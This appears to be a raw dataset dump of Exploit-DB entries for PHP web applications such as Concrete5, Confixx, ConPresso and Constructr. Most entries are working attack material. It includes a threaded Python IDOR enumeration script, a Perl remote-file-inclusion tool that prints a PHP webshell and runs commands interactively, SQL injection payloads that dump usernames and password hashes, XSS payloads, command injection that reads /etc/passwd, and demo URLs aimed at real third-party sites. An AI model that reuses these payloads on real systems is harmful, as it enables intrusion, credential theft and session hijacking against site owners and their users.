deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44194
Description: Concrete5 CMS < 8.3.0 - Username / Comments Enumeration
Type: webapps
Platform: php
Date: 2018-02-27
Author: Chapman Schleiss

Exploit:
#!/usr/bin/env python3

# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)
# CVE-2017-18195
# Chapman (R3naissance) Schleiss

from queue import Queue
from threading import Thread
from bs4 import BeautifulSoup
from tabulate import tabulate
import argparse
import requests
import logging

parser = argparse.ArgumentParser(
    description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",
)
parser.add_argument('-u','--url', action='store', dest='url', required=True,
					help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',
                    help='Where to start enumeration')
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',
                    help='Where to end enumeration')
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',
                    help='This boolean flag will trigger all raw information to stdout')
args = parser.parse_args()

if args.verbose:
	logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')
else:
	logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

if args.start_id is None:
	args.start_id = 1
if args.end_id is None:
	args.end_id = 10

def crawl(q, result):
	while not q.empty():
		work = q.get()
		logging.debug("Requesting cnvID: " + str(work))
		try:
			response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)
			logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))
			if response.status_code < 400 or response.status_code > 499:
				logging.debug("Parsing html and adding comments to results list")
				soup = BeautifulSoup(response.text, 'html.parser')
				username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})
				message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})
				for i in range(len(username)):
					results.append((work, username[i].text.strip(), message[i].text.strip()))
			logging.info("Completed cnvID: " + str(work))
		except:
			logging.error('Error getting cnvID: ' + str(work))
		q.task_done()
	return True

q = Queue(maxsize=0)

enum = range(args.start_id, args.end_id + 1)
num_theads = min(50, len(enum))

results = []
for i in enum:
	q.put(i)

for i in range(num_theads):
	logging.debug('Starting thread ' + str(i))
	worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))
	worker.setDaemon(True)
	worker.start()

logging.debug('Waiting for final threads to complete')
q.join()

logging.info('Enumeration complete')

print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))
Exploit-DB #37226
Description: Concrete5 CMS FlashUploader - Arbitrary '.SWF' File Upload
Type: webapps
Platform: php
Date: 2012-05-20
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53640/info
 
Concrete CMS is prone to following vulnerabilities because it fails to properly handle user-supplied input.
 
1. Multiple cross-site scripting vulnerabilities
 
2. An arbitrary-file-upload vulnerability
 
3. A denial-of-service vulnerability
 
An attacker may leverage these issues to cause denial-of-service conditions or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Concrete CMS versions 5.5 and 5.5.21 are vulnerable. 


http://www.example.com/concrete/flash/thumbnail_editor_2.swf
http://www.example.com/concrete/flash/thumbnail_editor_3.swf
http://www.example.com/concrete/flash/swfupload/swfupload.swf
http://www.example.com/concrete/flash/uploader/uploader.swf
Exploit-DB #23797
Description: Confixx 2 - 'DB' SQL Injection
Type: webapps
Platform: php
Date: 2004-03-09
Author: wkr

Exploit:
source: https://www.securityfocus.com/bid/9830/info

It has been reported that an input validation error with the potential for use in a SQL injection attack is present in the "db_mysql_loeschen2.php" script. When a user is requesting the "db_mysql_loeschen2.php" script, one of the parameters that can be passed to the script is "db". There are no checks on the value of this variable before it is used in an SQL query string.

Consequently, malicious users may corrupt the resulting SQL queries by specially crafting a value for the "db" variable.

db_mysql_loeschen2.php?db=' or 1 or 1='
Exploit-DB #23798
Description: Confixx 2 - Perl Debugger Remote Command Execution
Type: webapps
Platform: php
Date: 2004-03-09
Author: wkr

Exploit:
source: https://www.securityfocus.com/bid/9831/info

The Confixx PERL debugging utility functionality has been reported to be prone to a remote command execution vulnerability. The issue is reported to occur when a command sequence is appended to a HTTP request for a PERL script resource, the command sequence must contain a prefixed ';' semi-colon character. When this request is processed, the command sequence will be reportedly executed with the privileges of the process that invokes the Confixx PERL debugging utility.

; /bin/cat location_of_Confixx_config_file
http://www.example.com/user/tools_cgicheck2.php?dir=&file=%20./x%20|/bin/cat%20/etc/passwd
Exploit-DB #28023
Description: Confixx 3.0/3.1 - 'FTP_index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-14
Author: kr4ch

Exploit:
source: https://www.securityfocus.com/bid/18426/info

Confixx is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[confixx]/ftplogin/[user]/ftp_index.php?path=<script>alert(&#039;p0w3r%20ruLeZ&#039;)</script>
Exploit-DB #27884
Description: Confixx 3.0/3.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-15
Author: LoK-Crew

Exploit:
source: https://www.securityfocus.com/bid/17984/info

Confixx is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ftplogin/?login=">[XSS]<div style=
Exploit-DB #4219
Description: Confixx Pro 3.3.1 - 'saveserver.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-24
Author: H4 / XPK

Exploit:
[*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
__________________________________________________________________________

[!] Application homepage :   http://www.swsoft.com/de/products/confixx/
[!] Author               :   H4 / XPK
[!] Contact              :   http://xpkzxc.com/
[!] Bug discovered       :   2007-07-21
[!] Bug published        :   2007-07-24
[!] Risk                 :   Moderate

Do not forget visit our page for new vulnerabilites , information and tools.

---------------------------------------------------------------------

Vuln. code: admin/business_inc/saveserver.php

Lines 8-11

if( !in_array($returnto, $actions) )
{
        include( $thisdir . "/business_inc/list.php" );
}

Variable $thisdir is not defined ...

---------------------------------------------------------------------

An attacker does not need to be authenticated to access this file.

[!] Conditions: open_basedir restriction off and allow_url_fopen = on

[!] Exploitation : http://[target]/admin/business_inc/saveserver.php

Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la

---------------------------------------------------------------------

# milw0rm.com [2007-07-24]
Exploit-DB #27467
Description: ConfTool 1.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-27
Author: botan

Exploit:
source: https://www.securityfocus.com/bid/17231/info

ConfTool is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?page=<script>alert(document.cookie)</script>
Exploit-DB #27505
Description: Connect Daily 3.2.8/3.2.9 - 'ViewCal.html?item_type_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17287/info
   
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewCal.html?item_type_id=[code]
Exploit-DB #27502
Description: Connect Daily 3.2.8/3.2.9 - 'ViewDay.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17287/info

Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewDay.html?start=2453810&&integral=0&style_sheetuserStyle.css&dropdown=1&show_stop=0&show_resources0&calendar_id=[code]
http://www.example.com/ViewDay.html?start=2453810&&integral=0&style_sheet=[code]
http://www.example.com/ViewDay.html?start=[code]
Exploit-DB #27503
Description: Connect Daily 3.2.8/3.2.9 - 'ViewSearch.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17287/info
 
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=[code]
http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=&opgFields1&opgSearch=[code]
http://www.example.com/ViewSearch.html?integral=0&show_stop=0&show_resources=0&criteria=calendar_id%3D34&txtSearch=&opgFields=[code]
Exploit-DB #27506
Description: Connect Daily 3.2.8/3.2.9 - 'ViewWeek.html?week' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17287/info
    
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewWeek.html?year=2006&week=[code]
Exploit-DB #27504
Description: Connect Daily 3.2.8/3.2.9 - 'ViewYear.html' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17287/info
  
Connect Daily is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ViewYear.html?n=1&dropdown=1&integral=0&approved=1&show_stop=0&show_resources=0&calendar_id=[code]
http://www.example.com/ViewYear.html?n=1&dropdown=1&integral=0&approved=[code]
Exploit-DB #5012
Description: Connectix Boards 0.8.2 - 'template_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-01-30
Author: Houssamix

Exploit:
#!/usr/bin/perl
#
# Author : HouSSaMix From H-T Team
# Script : Connectix Boards (  Tested in last version 0.8.2 & 0.8.1 ) 
# Bug : Remote File Inclusion
# Vulnerable Code : <?php include ($template_path.'menu_links.php'); ?>
# Dork : powered by connectix boards
# Risk : High 
# Download : http://www.connectix-boards.org/
# Exploit: http://Target.il/[path]/templates/Official/part_userprofile.php?template_path=[Shell]

use LWP::Simple;

print "-------------------------[ H-T Team ]--------------------------\n";
print "-                                                             -\n";
print "-         Connectix Boards <=0.8.2  - Remote File Inclusion   -\n";
print "-                                                             -\n";
print "---------------------------------------------------------------\n";
print "-       H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo        -\n";
print "-       Bug found and Coded By HouSSaMix & ToXiC350           -\n";
print "---------------------------------------------------------------\n\n";

my $morocco,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/templates/Official/part_mps.php";


sub usage(){
       print "=> Usage: perl $0 Target/path http://site.com/cmd.txt\n";
       print "=> Ex   : perl $0 http://site.com/forum http://site.com/cmd.txt\n";
	   print "Code of file cmd.txt : \n";
       print '<?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
	   print "   \n";
          }

while ()
{
print "Enter your command :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$morocco = $path."?template_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
 { print "Enter your command !\n"; }
else
 { $data=get($morocco); print $data ; }
}

# milw0rm.com [2008-01-30]
Exploit-DB #9077
Description: ConPresso 3.4.8 - 'detail.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-02
Author: tmh

Exploit:
########################################################################################################################
#conpresso 3.4.8 (detail.php) Remote Blind SQL Injection Exploit
#=======================================================================================================================
#
#Critical Level : Dangerous
#
#Vendor site : http://www.conpresso.de/
#
#Download : http://www.conpresso.de/conpresso/de_downloads/index.php?rubric=Download
#
#=======================================================================================================================
#
#
#Exploit :
#--------------------------------
#
#www.[URL]/[PATH]/detail.php?nr=[nr] and 1=1
#www.[URL]/[PATH]/detail.php?nr=[nr] and 1=0
#
#Live demo :
#--------------------------------
#
#http://www.maria-pawlowna.de/conpresso/Home/detail.php?nr=70+and+1=1
#http://www.muenster.org/hittorf/hittorf/Schulleben/detail.php?nr=6501+and+1=0
#
#=======================================================================================================================
#Discovered by : -tmh-
#
#Contact : tmh[at]no-trace.cc
#
#Greetz to : Team-Internet
#
#
########################################################################################################################

# milw0rm.com [2009-07-02]
Exploit-DB #12684
Description: ConPresso 4.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-21
Author: Gamoscu

Exploit:
ConPresso 4.0.7 SQL Injection  Vulnerability  
    
########################### 
    
Author    : Gamoscu  
Homepage  : http://www.1923turk.com  
Blog      : http://gamoscu.wordpress.com/  
Script    : ConPresso 4.0.7 
Download  : http://www.conpresso.de/conpresso/de_downloads/index.php?rubric=Download
    
###########################   
      
[ Vulnerable File ] 
  
firma.php?id= [ SQL ] 
       
  
[ XpL ] 
    
-1/**/union/**/all/**/select/**/1,concat_ws(0x3a,password,username),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+ad_users 
  
  
    

iyi ki dogdun DELiBEY

     
##############################################################   
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO   
##############################################################
Exploit-DB #32757
Description: ConPresso CMS 4.07 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-26
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/33436/info

ConPresso CMS is prone to multiple remote vulnerabilities:

- A cross-site scripting vulnerability
- A cross-domain scripting vulnerability
- A session-fixation vulnerability

An attacker can exploit these issues to execute arbitrary script code within the context of the affected browser or within the context of another frame, steal cookie-based authentication credentials, hijack a user's session, and gain unauthorized access to the affected application. Other attacks are also possible.

ConPresso CMS 4.07 is vulnerable; other versions may also be affected. 

http://www.example.com/conpresso407/_manual/index.php?ref=http://www.example.com
Exploit-DB #7529
Description: Constructr CMS 3.02.5 stable - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-12-19
Author: fuzion

Exploit:
Constructr CMS
http://constructr-cms.org/

- <= 3.02.5 "Stable" -

magic_quotes_gpc = Off
register_globals = On

- Directory Traversal - Source Disclosure - Arbitrary File Creation - Etc Etc Etc -
http://site/constructr/backend/template.php?edit_file=

Db info:
../config/config.inc.php


- SQL -
http://site/constructr/?show_page=

User (urlencode) :
-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML
"Hash" is the password, not really encrypted...


- Timeline -
Author notified: Dec 12
Public Disclosure: Dec 19


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-19]
Exploit-DB #16963
Description: Constructr CMS 3.03 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-11
Author: LiquidWorm

Exploit:
Constructr CMS 3.03 Miltiple Remote Vulnerabilities (XSS/SQLi)


Vendor: phaziz interface design
Product web page: http://www.constructr-cms.org
Affected version: 3.03.0

Summary: ConstructrCMS is a new and fresh Content Management
System build with the Power of PHP and MySQL. The Backend is
mostly controlled by Ajax for a unique User Experience.

Desc: The CMS suffers from several vulnerabilities (SQL and XSS).
The sql issue can be triggered when the app tries to parse malicious
arguments to the 'page_id' in the /xmlOutput/constructrXmlOutput.content.xml.php
script with user input not validated. The result can be seen in the source
code of the page itself. The xss issue (GET) is thru 'user' and 'hash' parameter in
the /backend/login.php script.

-------------------------------------------------------------------

32: $PAGE_ID = $_REQUEST['page_id'];
...
40:    $select_content = $conContent -> query("
41:           SELECT *
42:           FROM $DB_TABLE_CONSTRUCTR_CONTENT
43:           WHERE page_id = '$PAGE_ID'
44:           ORDER BY sort ASC
45:    ")or die(mysql_error());
...
51:      while ($all_content = $conContent -> fetch_array($select_content))
52:      {
53:           $id            = $all_content['id'];
54:           $page_id       = $all_content['page_id'];
...

-------------------------------------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41 

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com


Advisory ID: ZSL-2011-5001
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5001.php


10.03.2011


PoC:

[SQL] http://constructr/xmlOutput/constructrXmlOutput.content.xml.php?page_id='[INJECT POINT];--";--

[XSS] http://constructr/backend/login.php?installed=101&no_user_rights=101&login_first_echo=101&already_logged_in=101&login_user_deactivated=101&login_failed=101&login_success=101&nosaltnpepper=101&user=101<script>alert(2)</script>&hash=101<script>alert(2)</script>
Exploit-DB #43274
Description: Consumer Complaints Clone Script 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Consumer Complaints Clone Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/consumer-complaints-clone-script/
# Demo: http://fxwebsolution.com/demo/consumer-complaints/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/other-user-profile.php?id=[SQL]
# 
# -1'++/*!50000UNION*/(SELECT(1),/*!11111CONCAT_WS*/(0x203a20,USER(),VERSION()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18))--+-
# 
# 
# # # # #